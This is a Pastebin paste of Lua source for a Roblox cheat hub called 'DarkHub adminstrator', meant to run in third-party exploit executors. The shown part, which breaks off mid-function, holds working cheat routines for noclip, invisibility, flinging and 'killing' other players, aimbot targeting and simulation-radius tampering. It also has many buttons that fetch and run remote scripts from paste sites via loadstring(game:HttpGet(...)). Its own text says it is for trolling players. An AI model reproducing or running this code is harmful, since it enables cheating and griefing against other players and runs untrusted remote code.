Advertisement
mjv2023

jgjgjn

Aug 27th, 2023
973
2
Never
2
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 244.79 KB | None | 2 0
  1. if not game:IsLoaded() then
  2. game:IsLoaded():Wait()
  3. end
  4.  
  5. local speaker = game.Players.LocalPlayer
  6. local plr = game.Players.LocalPlayer
  7. local playerlp = plr
  8. local Characterlp = plr.Character
  9. local Area = game:GetService("Workspace")
  10. local players = game:GetService("Players")
  11. local RunService = game:GetService("RunService")
  12. local UIS = game:GetService("UserInputService")
  13. local coregui = game:GetService("CoreGui")
  14. local Mouse = plr:GetMouse()
  15. local MyView = Area.CurrentCamera
  16. local MyTeamColor = plr.TeamColor
  17. local HoldingM2 = false
  18. local Active = false
  19. local Lock = false
  20. local Epitaph = .187 ---Note: The Bigger The Number, The More Prediction.
  21. local HeadOffset = Vector3.new(0, .1, 0)
  22. Players = game:GetService("Players")
  23. IYMouse = Players.LocalPlayer:GetMouse()
  24. UserInputService = game:GetService("UserInputService")
  25. autoclicking = false
  26. local WalkTo = false
  27. local Guarding = false
  28. local Flinging = false
  29. local Platformstand = false
  30. local viewing = nil
  31. local Control = false
  32. local Lagging = false
  33. local AutoObby = false
  34. local invisRunning = false
  35. local IsInvis = false
  36. local IsRunning = true
  37. local invisFix
  38. local invisDied
  39. local InvisibleCharacter
  40. local CF
  41. local Clip = true
  42. local Regulars = false
  43. local vnoclipParts = {}
  44. local FlingTBL = {}
  45. local frozenParts = {}
  46. local vfreeze = {}
  47. local RestoreCFling = {}
  48. local shownParts = {}
  49. local showninParts = {}
  50. local showninvParts = {}
  51. local shownvisParts = {}
  52. local vstrongParts = {}
  53. local vweakParts = {}
  54. local highlights = {}
  55. local workspace = game.Workspace
  56. local Noclipping = nil
  57. local viewDied
  58. local viewChanged
  59. local triggermd
  60. local triggermp
  61. local cancelAutoClick
  62. local highlight
  63. local highlight2
  64. local closesttouch = nil
  65. local closestclick = nil
  66. local closestprox = nil
  67. local closestseat = nil
  68. local lockcursorman
  69. local unlockcursorman
  70. local fakekicktbl
  71. CFloop = nil
  72. CFspeed = 50
  73. simRadius = false
  74. FLYING = false
  75. QEfly = true
  76. NOWW = game.Players.LocalPlayer.Character:FindFirstChildOfClass("Humanoid").WalkSpeed
  77. NOWJ = game.Players.LocalPlayer.Character:FindFirstChildOfClass("Humanoid").JumpPower
  78. NOWG = game.Workspace.Gravity
  79. NOWH = game.Players.LocalPlayer.Character:FindFirstChildOfClass("Humanoid").HipHeight
  80. iyflyspeed = 1
  81. PlayerVolumeBELIKE = UserSettings():GetService("UserGameSettings").MasterVolume
  82. PlayerGraphicsBELIKE = settings().Rendering.QualityLevel
  83. vehicleflyspeed = 1
  84. local HumanModCons = {}
  85. local flyjump
  86. local simRadLoop
  87. local stareLoop
  88. local currentToolSize = ""
  89. local currentGripPos = ""
  90. local invisRunning = false
  91. local noSit
  92. local nositDied
  93. local proxDied = nil
  94. local clickDied = nil
  95. local selclick = nil
  96. local seltouch = nil
  97. local selprox = nil
  98. local selseat = nil
  99. local selinvisp = nil
  100. local selcanc = nil
  101. local YesRefresh = false
  102. local sethidden = sethiddenproperty or set_hidden_property or set_hidden_prop
  103. local setsimulation = setsimulationradius or set_simulation_radius
  104.  
  105. function round(num, numDecimalPlaces)
  106. local mult = 10^(numDecimalPlaces or 0)
  107. return math.floor(num * mult + 0.5) / mult
  108. end
  109.  
  110. function getRoot(char)
  111. local rootPart = char:FindFirstChild('HumanoidRootPart') or char:FindFirstChild('Torso') or char:FindFirstChild('UpperTorso')
  112. return rootPart
  113. end
  114.  
  115. function SimRad()
  116. if sethidden then
  117. simRadLoop = game:GetService('RunService').Stepped:Connect(function()
  118. if setsimulation then
  119. setsimulation(1e308, 1/0)
  120. else
  121. sethidden(plr,"MaximumSimulationRadius",1/0)
  122. sethidden(plr,"SimulationRadius", 1e308)
  123. end
  124. end)
  125. simRadius = true
  126. end
  127. end
  128.  
  129. function toClipboard(String)
  130. local clipBoard = setclipboard or toclipboard or set_clipboard or (Clipboard and Clipboard.set)
  131. if clipBoard then
  132. clipBoard(String)
  133. end
  134. end
  135.  
  136. local function CursorLock()
  137. UIS.MouseBehavior = Enum.MouseBehavior.LockCenter
  138. end
  139. local function UnLockCursor()
  140. HoldingM2 = false Active = false Lock = false
  141. UIS.MouseBehavior = Enum.MouseBehavior.Default
  142. end
  143. function FindNearestPlayer()
  144. local dist = math.huge
  145. local Target = nil
  146. for _, v in pairs(game.Players:GetPlayers()) do
  147. if v ~= plr and v.Character:FindFirstChildOfClass("Humanoid") and v.Character:FindFirstChildOfClass("Humanoid").Health > 0 and getRoot(v.Character) and v then
  148. local TheirCharacter = v.Character
  149. local CharacterRoot, Visible = MyView:WorldToViewportPoint(getRoot(TheirCharacter).Position)
  150. if Visible then
  151. local RealMag = (Vector2.new(Mouse.X, Mouse.Y) - Vector2.new(CharacterRoot.X, CharacterRoot.Y)).Magnitude
  152. if RealMag < dist and RealMag < FOVCircle.Radius then
  153. dist = RealMag
  154. Target = TheirCharacter
  155. end
  156. end
  157. end
  158. end
  159. return Target
  160. end
  161.  
  162. function Noclip()
  163. Clip = false
  164. function NoclipLoop()
  165. if Clip == false and plr.Character ~= nil then
  166. for _, child in pairs(plr.Character:GetDescendants()) do
  167. if child:IsA("BasePart") and child.CanCollide == true then
  168. child.CanCollide = false
  169. end
  170. end
  171. end
  172. end
  173. Noclipping = game:GetService('RunService').Stepped:connect(NoclipLoop)
  174. end
  175.  
  176. function TurnsVisible()
  177. if IsInvis == false then return end
  178. invisFix:Disconnect()
  179. invisDied:Disconnect()
  180. CF = game.Workspace.CurrentCamera.CFrame
  181. Characterlp = Characterlp
  182. local CF_1 = playerlp.Character.HumanoidRootPart.CFrame
  183. Characterlp.HumanoidRootPart.CFrame = CF_1
  184. InvisibleCharacter:Destroy()
  185. playerlp.Character = Characterlp
  186. Characterlp.Parent = workspace
  187. IsInvis = false
  188. playerlp.Character.Animate.Disabled = true
  189. playerlp.Character.Animate.Disabled = false
  190. invisDied = Characterlp:FindFirstChildOfClass'Humanoid'.Died:Connect(function()
  191. invisRespawn()
  192. invisDied:Disconnect()
  193. end)
  194. invisRunning = false
  195. end
  196.  
  197. function invisRespawn()
  198. IsRunning = false
  199. if IsInvis == true then
  200. pcall(function()
  201. playerlp.Character = Characterlp
  202. wait()
  203. Characterlp.Parent = game.Workspace
  204. Characterlp:FindFirstChildWhichIsA'Humanoid':Destroy()
  205. IsInvis = false
  206. InvisibleCharacter.Parent = nil
  207. invisRunning = false
  208. end)
  209. elseif IsInvis == false then
  210. pcall(function()
  211. playerlp.Character = Characterlp
  212. wait()
  213. Characterlp.Parent = game.Workspace
  214. Characterlp:FindFirstChildWhichIsA'Humanoid':Destroy()
  215. TurnsVisible()
  216. end)
  217. end
  218. end
  219.  
  220. function TurnVisible()
  221. if IsInvis == false then return end
  222. invisFix:Disconnect()
  223. invisDied:Disconnect()
  224. CF = game.Workspace.CurrentCamera.CFrame
  225. Characterlp = Characterlp
  226. local CF_1 = playerlp.Character.HumanoidRootPart.CFrame
  227. Characterlp.HumanoidRootPart.CFrame = CF_1
  228. InvisibleCharacter:Destroy()
  229. playerlp.Character = Characterlp
  230. Characterlp.Parent = workspace
  231. IsInvis = false
  232. playerlp.Character.Animate.Disabled = true
  233. playerlp.Character.Animate.Disabled = false
  234. invisDied = Characterlp:FindFirstChildOfClass'Humanoid'.Died:Connect(function()
  235. invisRespawn()
  236. invisDied:Disconnect()
  237. end)
  238. invisRunning = false
  239. end
  240.  
  241. function fixcam()
  242. game.Workspace.CurrentCamera:Remove()
  243. wait(.1)
  244. repeat wait() until plr.Character ~= nil
  245. game.Workspace.CurrentCamera.CameraSubject = plr.Character:FindFirstChildWhichIsA('Humanoid')
  246. game.Workspace.CurrentCamera.CameraType = "Custom"
  247. plr.CameraMinZoomDistance = 0.5
  248. plr.CameraMaxZoomDistance = 400
  249. plr.CameraMode = "Classic"
  250. plr.Character.Head.Anchored = false
  251. end
  252.  
  253. function respawn(plr)
  254. if invisRunning then TurnVisible() end
  255. local char = plr.Character
  256. if char:FindFirstChildOfClass("Humanoid") then char:FindFirstChildOfClass("Humanoid"):ChangeState(15) end
  257. char:ClearAllChildren()
  258. local newChar = Instance.new("Model")
  259. newChar.Parent = workspace
  260. plr.Character = newChar
  261. wait()
  262. plr.Character = char
  263. newChar:Destroy()
  264. end
  265.  
  266. function refresh(plr)
  267. local Human = plr.Character and plr.Character:FindFirstChildOfClass("Humanoid", true)
  268. local pos = Human and Human.RootPart and Human.RootPart.CFrame
  269. local pos1 = game.Workspace.CurrentCamera.CFrame
  270. respawn(plr)
  271. task.spawn(function()
  272. speaker.CharacterAdded:Wait():WaitForChild("Humanoid").RootPart.CFrame, workspace.CurrentCamera.CFrame = pos, wait() and pos1
  273. end)
  274. end
  275.  
  276. function tools(plr)
  277. if plr:FindFirstChildOfClass("Backpack"):FindFirstChildOfClass('Tool') or plr.Character:FindFirstChildOfClass('Tool') then
  278. return true
  279. end
  280. end
  281.  
  282. function attach(speaker,target)
  283. if tools(speaker) then
  284. local char = speaker.Character
  285. local tchar = target.Character
  286. local hum = speaker.Character:FindFirstChildOfClass("Humanoid")
  287. local hrp = getRoot(speaker.Character)
  288. local hrp2 = getRoot(target.Character)
  289. hum.Name = "1"
  290. local newHum = hum:Clone()
  291. newHum.Parent = char
  292. newHum.Name = "Humanoid"
  293. wait()
  294. hum:Destroy()
  295. game.Workspace.CurrentCamera.CameraSubject = char
  296. newHum.DisplayDistanceType = "None"
  297. local tool = speaker:FindFirstChildOfClass("Backpack"):FindFirstChildOfClass("Tool") or speaker.Character:FindFirstChildOfClass("Tool")
  298. tool.Parent = char
  299. hrp.CFrame = hrp2.CFrame * CFrame.new(0, 0, 0) * CFrame.new(math.random(-100, 100)/200,math.random(-100, 100)/200,math.random(-100, 100)/200)
  300. local n = 0
  301. repeat
  302. wait(.1)
  303. n = n + 1
  304. hrp.CFrame = hrp2.CFrame
  305. until (tool.Parent ~= char or not hrp or not hrp2 or not hrp.Parent or not hrp2.Parent or n > 250) and n > 2
  306. else
  307. game.StarterGui:SetCore("SendNotification", {Title = "Warning!", Text = "You need to have an item in backpack to execute this script.", Duration = 4,})
  308. end
  309. end
  310.  
  311. function bring(speaker,target,fast)
  312. if tools(speaker) then
  313. if target ~= nil then
  314. local NormPos = getRoot(speaker.Character).CFrame
  315. if not fast then
  316. refresh(speaker)
  317. wait()
  318. repeat wait() until speaker.Character ~= nil and getRoot(speaker.Character)
  319. wait(0.3)
  320. end
  321. local hrp = getRoot(speaker.Character)
  322. attach(speaker,target)
  323. repeat
  324. wait()
  325. hrp.CFrame = NormPos
  326. until not getRoot(target.Character) or not getRoot(speaker.Character)
  327. wait(1)
  328. plr.CharacterAdded:Wait():WaitForChild("HumanoidRootPart").CFrame = NormPos
  329. end
  330. else
  331. game.StarterGui:SetCore("SendNotification", {Title = "Warning!", Text = "You need to have an item in backpack to execute this script.", Duration = 4,})
  332. end
  333. end
  334.  
  335. function kill(speaker,target,fast)
  336. if tools(speaker) then
  337. if target ~= nil then
  338. local NormPos = getRoot(speaker.Character).CFrame
  339. if not fast then
  340. refresh(speaker)
  341. wait()
  342. repeat wait() until speaker.Character ~= nil and getRoot(speaker.Character)
  343. wait(0.3)
  344. end
  345. local hrp = getRoot(speaker.Character)
  346. attach(speaker,target)
  347. repeat
  348. wait()
  349. hrp.CFrame = CFrame.new(999999, workspace.FallenPartsDestroyHeight + 5,999999)
  350. until not getRoot(target.Character) or not getRoot(speaker.Character)
  351. wait(1)
  352. speaker.CharacterAdded:Wait():WaitForChild("HumanoidRootPart").CFrame = NormPos
  353. end
  354. else
  355. game.StarterGui:SetCore("SendNotification", {Title = "Warning!", Text = "You need to have an item in backpack to execute this script.", Duration = 4,})
  356. end
  357. end
  358.  
  359. function teleport(speaker,target,target2,fast)
  360. if tools(speaker) then
  361. if target ~= nil then
  362. local NormPos = getRoot(speaker.Character).CFrame
  363. if not fast then
  364. refresh(speaker)
  365. wait()
  366. repeat wait() until speaker.Character ~= nil and getRoot(speaker.Character)
  367. wait(0.3)
  368. end
  369. local hrp = getRoot(speaker.Character)
  370. local hrp2 = getRoot(target2.Character)
  371. attach(speaker,target)
  372. repeat
  373. wait()
  374. hrp.CFrame = hrp2.CFrame
  375. until not getRoot(target.Character) or not getRoot(speaker.Character)
  376. wait(1)
  377. speaker.CharacterAdded:Wait():WaitForChild("HumanoidRootPart").CFrame = NormPos
  378. end
  379. else
  380. game.StarterGui:SetCore("SendNotification", {Title = "Warning!", Text = "You need to have an item in backpack to execute this script.", Duration = 4,})
  381. end
  382. end
  383.  
  384. function GetPlayer(String)
  385. local Foundplr = {}
  386. local strl = String:lower()
  387. if strl == "all" then
  388. for i,v in pairs(game:GetService("Players"):GetPlayers()) do
  389. table.insert(Foundplr,v)
  390. end
  391. elseif strl == "others" then
  392. for i,v in pairs(game:GetService("Players"):GetPlayers()) do
  393. if v.Name ~= plr.Name then
  394. table.insert(Foundplr,v)
  395. end
  396. end
  397. elseif strl == "me" then
  398. for i,v in pairs(game:GetService("Players"):GetPlayers()) do
  399. if v.Name == plr.Name then
  400. table.insert(Foundplr,v)
  401. end
  402. end
  403. else
  404. for i,v in pairs(game:GetService("Players"):GetPlayers()) do
  405. if v.DisplayName:lower():sub(1, #String) == String:lower() or v.Name:lower():sub(1, #String) == String:lower() then
  406. table.insert(Foundplr,v)
  407. end
  408. end
  409. end
  410. return Foundplr
  411. end
  412.  
  413. function GetNPC(String)
  414. local FoundNPC = {}
  415. local strl = String:lower()
  416. for i,v in pairs(game.Workspace:GetDescendants()) do do
  417. if v:IsA("Model") and v.Name:lower():sub(1, #String) == String:lower() then
  418. table.insert(FoundNPC,v)
  419. end
  420. end
  421. end
  422. return FoundNPC
  423. end
  424.  
  425. local function align(part0,part1)
  426. local attachment0 = Instance.new("Attachment",part1)
  427. local attachment1 = Instance.new("Attachment",part0)
  428.  
  429. local alignpos = Instance.new("AlignPosition",part0)
  430. alignpos.MaxForce = math.huge
  431. alignpos.Responsiveness = 200
  432. alignpos.Attachment0 = attachment0
  433. alignpos.Attachment1 = attachment1
  434. end
  435.  
  436. local function fling(part0)
  437. local vel = Instance.new("BodyAngularVelocity",part0)
  438. vel.AngularVelocity = Vector3.new(1,1,1)*999
  439. vel.MaxTorque = Vector3.new(1,1,1)*9999
  440. end
  441.  
  442. local function loadcharacter(character)
  443. local scf = character.HumanoidRootPart.CFrame
  444. character.HumanoidRootPart.CFrame = scf*CFrame.new(0,100,0)
  445. character.HumanoidRootPart.Anchored = true
  446.  
  447. wait(1)
  448.  
  449. local fakec = Instance.new("Model",workspace)
  450.  
  451. local froot = Instance.new("Part",fakec)
  452. froot.Name = "HumanoidRootPart"
  453. froot.Size = Vector3.new(1,5,1)
  454. froot.CFrame = scf
  455. froot.Transparency = 0.5
  456.  
  457. Instance.new("Humanoid",fakec)
  458.  
  459. plr.Character = fakec
  460. workspace.CurrentCamera.CameraSubject = fakec.Humanoid
  461.  
  462. align(froot,character.HumanoidRootPart)
  463.  
  464. character.Humanoid:Destroy()
  465.  
  466. for _,p in pairs(character:GetDescendants()) do
  467. if p:IsA("BasePart") then
  468. p.CanCollide = false
  469. p.Massless = true
  470. elseif p:IsA("BodyGyro") or p:IsA("BodyAngularVelocity") or p:IsA("BodyVelocity") then
  471. p:Destroy()
  472. end
  473. end
  474.  
  475. game.RunService.Heartbeat:Connect(function()
  476. for _,p in pairs(character:GetDescendants()) do
  477. if p:IsA("BasePart") then
  478. p.CanCollide = false
  479. p.Massless = true
  480. p.Anchored = false
  481. elseif p:IsA("Weld")then
  482. p.Enabled = false
  483. end
  484. end
  485. end)
  486.  
  487.  
  488. wait()
  489.  
  490. wait(1)
  491. fling(character.HumanoidRootPart)
  492. end
  493.  
  494. local OrionLib = loadstring(game:HttpGet(('https://paste.ee/r/hXKJk')))()
  495. local Window = OrionLib:MakeWindow({Name = "DarkHub adminstrator"})
  496.  
  497. local Info = Window:MakeTab({
  498. Name = "Information",
  499. Icon = "rbxassetid://6026568227",
  500. PremiumOnly = false --- Set true, if you want to this tab was only for premium people, or false to all could use this.
  501. })
  502.  
  503. local AdminS = Window:MakeTab({
  504. Name = "Admin Scripts",
  505. Icon = "rbxassetid://6034281908",
  506. PremiumOnly = false --- Set true, if you want to this tab was only for premium people, or false to all could use this.
  507. })
  508.  
  509. local GameView = Window:MakeTab({
  510. Name = "Game Viewers",
  511. Icon = "rbxassetid://6034227061",
  512. PremiumOnly = false --- Set true, if you want to this tab was only for premium people, or false to all could use this.
  513. })
  514.  
  515. local RSpy = Window:MakeTab({
  516. Name = "Remote Spies",
  517. Icon = "rbxassetid://6035202016",
  518. PremiumOnly = false --- Set true, if you want to this tab was only for premium people, or false to all could use this.
  519. })
  520.  
  521. local Player = Window:MakeTab({
  522. Name = "Players",
  523. Icon = "rbxassetid://6034281935",
  524. PremiumOnly = false --- Set true, if you want to this tab was only for premium people, or false to all could use this.
  525. })
  526.  
  527. local LP = Window:MakeTab({
  528. Name = "LocalPlayer",
  529. Icon = "rbxassetid://6023426915",
  530. PremiumOnly = false --- Set true, if you want to this tab was only for premium people, or false to all could use this.
  531. })
  532.  
  533. local NPC = Window:MakeTab({
  534. Name = "NPCs",
  535. Icon = "rbxassetid://6034287516",
  536. PremiumOnly = false --- Set true, if you want to this tab was only for premium people, or false to all could use this.
  537. })
  538.  
  539. local Vehicle = Window:MakeTab({
  540. Name = "Vehicle",
  541. Icon = "rbxassetid://6034754441",
  542. PremiumOnly = false --- Set true, if you want to this tab was only for premium people, or false to all could use this.
  543. })
  544.  
  545. local ToolPlr = Window:MakeTab({
  546. Name = "Tools",
  547. Icon = "rbxassetid://6034744057",
  548. PremiumOnly = false --- Set true, if you want to this tab was only for premium people, or false to all could use this.
  549. })
  550.  
  551. local ESP = Window:MakeTab({
  552. Name = "ESP",
  553. Icon = "rbxassetid://6031075931",
  554. PremiumOnly = false --- Set true, if you want to this tab was only for premium people, or false to all could use this.
  555. })
  556.  
  557. local Bypass = Window:MakeTab({
  558. Name = "Bypasses",
  559. Icon = "rbxassetid://6031360355",
  560. PremiumOnly = false --- Set true, if you want to this tab was only for premium people, or false to all could use this.
  561. })
  562.  
  563. local Function = Window:MakeTab({
  564. Name = "Functions",
  565. Icon = "rbxassetid://6023426952",
  566. PremiumOnly = false --- Set true, if you want to this tab was only for premium people, or false to all could use this.
  567. })
  568.  
  569. local Script = Window:MakeTab({
  570. Name = "Scripts",
  571. Icon = "rbxassetid://6031763428",
  572. PremiumOnly = false --- Set true, if you want to this tab was only for premium people, or false to all could use this.
  573. })
  574.  
  575. local Setting = Window:MakeTab({
  576. Name = "Settings",
  577. Icon = "rbxassetid://6034509993",
  578. PremiumOnly = false --- Set true, if you want to this tab was only for premium people, or false to all could use this.
  579. })
  580.  
  581. local TablePart = Window:MakeTab({
  582. Name = "Table Parts",
  583. Icon = "rbxassetid://6035202010",
  584. PremiumOnly = false --- Set true, if you want to this tab was only for premium people, or false to all could use this.
  585. })
  586.  
  587. local Math = Window:MakeTab({
  588. Name = "Math Calculator",
  589. Icon = "rbxassetid://6035047384",
  590. PremiumOnly = false --- Set true, if you want to this tab was only for premium people, or false to all could use this.
  591. })
  592.  
  593. local ExploitDoc = Window:MakeTab({
  594. Name = "Exploit Docs",
  595. Icon = "rbxassetid://6035053285",
  596. PremiumOnly = false --- Set true, if you want to this tab was only for premium people, or false to all could use this.
  597. })
  598.  
  599. local Credit = Window:MakeTab({
  600. Name = "Credits",
  601. Icon = "rbxassetid://6035202033",
  602. PremiumOnly = false --- Set true, if you want to this tab was only for premium people, or false to all could use this.
  603. })
  604.  
  605. Info:AddParagraph("The Script", "Welcome to Roblox Hub Script. Here you can find overpowered scripts, functions, etc. This hub script is used to troll players or get full game information. Enjoy it!")
  606. Info:AddParagraph("Buttons doesn't show up.", "If the hub script buttons are not shown to you, then this is probably the wrong timing moment. You only need to do it when you're not dead, not equipped on a tool and not sitting on a seat. You may get an error in the developer console because of this. I advise you to restart the script and execute it again. If you still get this error, try using another exploit, for example, such as: Synapse X, KRNL, Script-Ware and probably Electron.")
  607. Info:AddParagraph("How do I use Textbox in GUI?", "Textbox used to change value or write player name. For example: in Players Folder you need to write player name [can be shortened] or Fly Speed [Use numbers]. It's very easy, each of you will easily understand it and will use it without any trouble.")
  608.  
  609. AdminS:AddButton({
  610. Name = "Infinite Yield",
  611. Callback = function()
  612. loadstring(game:HttpGet(('https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source'),true))()
  613. end
  614. })
  615.  
  616. AdminS:AddButton({
  617. Name = "CMD-X",
  618. Callback = function()
  619. loadstring(game:HttpGet('https://raw.githubusercontent.com/CMD-X/CMD-X/master/Source', true))()
  620. end
  621. })
  622.  
  623. AdminS:AddButton({
  624. Name = "Reviz",
  625. Callback = function()
  626. loadstring(game:HttpGet('https://pastebin.com/raw/Nh7n0hdX', true))()
  627. end
  628. })
  629.  
  630. AdminS:AddButton({
  631. Name = "Shattervast",
  632. Callback = function()
  633. loadstring(game:HttpGet('https://pastebin.com/raw/iL4NRDux', true))()
  634. end
  635. })
  636.  
  637. AdminS:AddButton({
  638. Name = "Fates",
  639. Callback = function()
  640. loadstring(game:HttpGet("https://raw.githubusercontent.com/fatesc/fates-admin/main/main.lua"))();
  641. end
  642. })
  643.  
  644. AdminS:AddButton({
  645. Name = "Adonis",
  646. Callback = function()
  647. loadstring(game:HttpGet("https://paste.ee/r/HYshM"))();
  648. end
  649. })
  650.  
  651. AdminS:AddButton({
  652. Name = "Homebrew",
  653. Callback = function()
  654. _G.CustomUI = false
  655. loadstring(game:HttpGet(('https://raw.githubusercontent.com/mgamingpro/HomebrewAdmin/master/Main'),true))()
  656. end
  657. })
  658.  
  659. AdminS:AddButton({
  660. Name = "Kohls",
  661. Callback = function()
  662. loadstring(game:HttpGet("https://pastebin.com/raw/237ERiAT"))();
  663. end
  664. })
  665.  
  666. AdminS:AddButton({
  667. Name = "IceGear",
  668. Callback = function()
  669. loadstring(game:HttpGet(('https://paste.ee/r/e6T8l'),true))()
  670. end
  671. })
  672.  
  673. AdminS:AddButton({
  674. Name = "Overflow v3",
  675. Callback = function()
  676. loadstring(game:HttpGet(('https://paste.ee/r/KaeZg'),true))()
  677. end
  678. })
  679.  
  680. AdminS:AddButton({
  681. Name = "Ultimate",
  682. Callback = function()
  683. loadstring(game:HttpGet("https://pastebin.com/raw/bVjM0xCS", true))()
  684. end
  685. })
  686.  
  687. GameView:AddButton({
  688. Name = "Dark Dex v3",
  689. Callback = function()
  690. loadstring(game:HttpGet("https://raw.githubusercontent.com/Babyhamsta/RBLX_Scripts/main/Universal/BypassedDarkDexV3.lua", true))()
  691. end
  692. })
  693.  
  694. GameView:AddButton({
  695. Name = "Synapse x Dark Dex",
  696. Callback = function()
  697. loadstring(game:HttpGet("https://paste.ee/r/ViHra", true))()
  698. end
  699. })
  700.  
  701. GameView:AddButton({
  702. Name = "Sentinel Dex",
  703. Callback = function()
  704. loadstring(game:HttpGet("https://paste.ee/r/RugPl", true))()
  705. end
  706. })
  707.  
  708. GameView:AddButton({
  709. Name = "Script Viewer",
  710. Callback = function()
  711. loadstring(game:HttpGet("https://pastebin.com/raw/dva01xpE", true))()
  712. end
  713. })
  714.  
  715. GameView:AddButton({
  716. Name = "Script Dumper",
  717. Callback = function()
  718. loadstring(game:HttpGet("https://paste.ee/r/6oXCo", true))()
  719. end
  720. })
  721.  
  722. GameView:AddButton({
  723. Name = "Synapse x Script Dumper",
  724. Callback = function()
  725. loadstring(game:HttpGet("https://paste.ee/r/vmuSu", true))()
  726. end
  727. })
  728.  
  729. GameView:AddButton({
  730. Name = "Save Game",
  731. Callback = function()
  732. saveinstance()
  733. end
  734. })
  735.  
  736. RSpy:AddButton({
  737. Name = "RemoteSpy",
  738. Callback = function()
  739. loadstring(game:HttpGet("https://paste.ee/r/9N1Fc", true))()
  740. end
  741. })
  742.  
  743. RSpy:AddButton({
  744. Name = "DarkSpy",
  745. Callback = function()
  746. loadstring(game:HttpGet("https://pastebin.com/raw/SwZq0zCf"))()
  747. end
  748. })
  749.  
  750. RSpy:AddButton({
  751. Name = "FilterShark",
  752. Callback = function()
  753. loadstring(game:HttpGet("https://paste.ee/r/Fffa4"))()
  754. end
  755. })
  756.  
  757. RSpy:AddButton({
  758. Name = "FrostHook",
  759. Callback = function()
  760. loadstring(game:HttpGet("https://paste.ee/r/z29rx"))()
  761. end
  762. })
  763.  
  764. RSpy:AddButton({
  765. Name = "EngoSpy",
  766. Callback = function()
  767. local settings = {
  768. saveCalls = false,
  769. maxCallsSaved = 1000,
  770. saveOnlyLastCall = true,
  771. maxTableDepth = 100,
  772. minimizeBind = Enum.KeyCode.RightAlt,
  773. blacklistedNames = {}
  774. }
  775. loadstring(game:HttpGet("https://paste.ee/r/jsyu2"))(settings)
  776. end
  777. })
  778.  
  779. RSpy:AddButton({
  780. Name = "Hydroxide",
  781. Callback = function()
  782. local owner = "Upbolt"
  783. local branch = "revision"
  784.  
  785. local function webImport(file)
  786. return loadstring(game:HttpGetAsync(("https://raw.githubusercontent.com/%s/Hydroxide/%s/%s.lua"):format(owner, branch, file)), file .. '.lua')()
  787. end
  788.  
  789. webImport("init")
  790. webImport("ui/main")
  791. end
  792. })
  793.  
  794. RSpy:AddButton({
  795. Name = "MrSpy v2",
  796. Callback = function()
  797. loadstring(game:HttpGet("https://paste.ee/r/z06zN"))()
  798. end
  799. })
  800.  
  801. RSpy:AddButton({
  802. Name = "SimpleSpy v2.2",
  803. Callback = function()
  804. loadstring(game:HttpGet("https://paste.ee/r/nfHwB"))()
  805. end
  806. })
  807.  
  808. RSpy:AddButton({
  809. Name = "Remote Grabber",
  810. Callback = function()
  811. loadstring(game:HttpGet("https://paste.ee/r/Dddcj"))()
  812. end
  813. })
  814.  
  815. Player:AddLabel("Player")
  816.  
  817. local PlayerTarget
  818. local PlayerTargettwo
  819.  
  820. Player:AddTextbox({
  821. Name = "Player Name",
  822. Default = "",
  823. TextDisappear = true,
  824. Callback = function(Walktofollow)
  825. local Target = unpack(GetPlayer(Walktofollow))
  826. PlayerTarget = Target
  827. end
  828. })
  829.  
  830. Player:AddToggle({
  831. Name = "Walk To Player",
  832. Default = false,
  833. Callback = function(Walkn)
  834. if Walkn == true then
  835. if plr.Character:FindFirstChildOfClass('Humanoid') and plr.Character:FindFirstChildOfClass('Humanoid').SeatPart then
  836. plr.Character:FindFirstChildOfClass('Humanoid').Sit = false
  837. wait(.1)
  838. end
  839. if WalkTo == false then
  840. WalkTo = true
  841. repeat wait()
  842. plr.Character:FindFirstChild("Humanoid"):MoveTo(getRoot(PlayerTarget.Character).Position)
  843. until PlayerTarget.Character == nil or not getRoot(PlayerTarget.Character) or WalkTo == false
  844. end
  845. else
  846. Walkn = false
  847. WalkTo = false
  848. end
  849. end
  850. })
  851.  
  852. Player:AddToggle({
  853. Name = "Pathfind Walk To Player",
  854. Default = false,
  855. Callback = function(Walkns)
  856. if Walkns == true then
  857. WalkTo = false
  858. local PathService = game:GetService("PathfindingService")
  859. local hum = plr.Character:FindFirstChildOfClass("Humanoid")
  860. local path = PathService:CreatePath()
  861.  
  862. if WalkTo == false then
  863. WalkTo = true
  864. repeat wait()
  865. local success, response = pcall(function()
  866. path:ComputeAsync(getRoot(plr.Character).Position, getRoot(PlayerTarget.Character).Position)
  867. local waypoints = path:GetWaypoints()
  868. local distance
  869. for waypointIndex, waypoint in pairs(waypoints) do
  870. local waypointPosition = waypoint.Position
  871. hum:MoveTo(waypointPosition)
  872. repeat
  873. distance = (waypointPosition - hum.Parent.PrimaryPart.Position).magnitude
  874. wait()
  875. until
  876. distance <= 5
  877. end
  878. end)
  879. if not success then
  880. plr.Character:FindFirstChildOfClass('Humanoid'):MoveTo(getRoot(PlayerTarget.Character).Position)
  881. end
  882. until PlayerTarget.Character == nil or not getRoot(PlayerTarget.Character) or WalkTo == false
  883. end
  884. else
  885. Walkns = false
  886. WalkTo = false
  887. end
  888. end
  889. })
  890.  
  891. Player:AddToggle({
  892. Name = "Walk To Tool Player",
  893. Default = false,
  894. Callback = function(Walknss)
  895. if Walknss == true then
  896. if Guarding == false then
  897. Guarding = true
  898. repeat wait()
  899. if getRoot(PlayerTarget.Character).Velocity.Magnitude > 0.5 and PlayerTarget.Character:FindFirstChildOfClass("Tool") then
  900. plr.Character:FindFirstChildOfClass("Humanoid"):MoveTo(getRoot(PlayerTarget.Character).CFrame.p + getRoot(PlayerTarget.Character).Velocity.unit * 7)
  901. elseif getRoot(PlayerTarget.Character).Velocity.Magnitude < 0.5 and PlayerTarget.Character:FindFirstChildOfClass("Tool") then
  902. plr.Character:FindFirstChild("Humanoid"):MoveTo(getRoot(PlayerTarget.Character).CFrame.p)
  903. end
  904. until PlayerTarget.Character == nil or not getRoot(PlayerTarget.Character) or not PlayerTarget.Character:FindFirstChildOfClass("Tool") or Guarding == false
  905. end
  906.  
  907. else
  908. Walknss = false
  909. Guarding = false
  910. end
  911. end
  912. })
  913.  
  914. Player:AddToggle({
  915. Name = "Animation Steal Player",
  916. Default = false,
  917. Callback = function(animsteals)
  918. if animsteals == true then
  919. if not plr.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then
  920. return game.StarterGui:SetCore("SendNotification", {Title = "Warning!", Text = "You can't steal in R6 games. You need to be in R15 games - R15 is required!", Duration = 5,})
  921. end
  922. if not PlayerTarget.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then
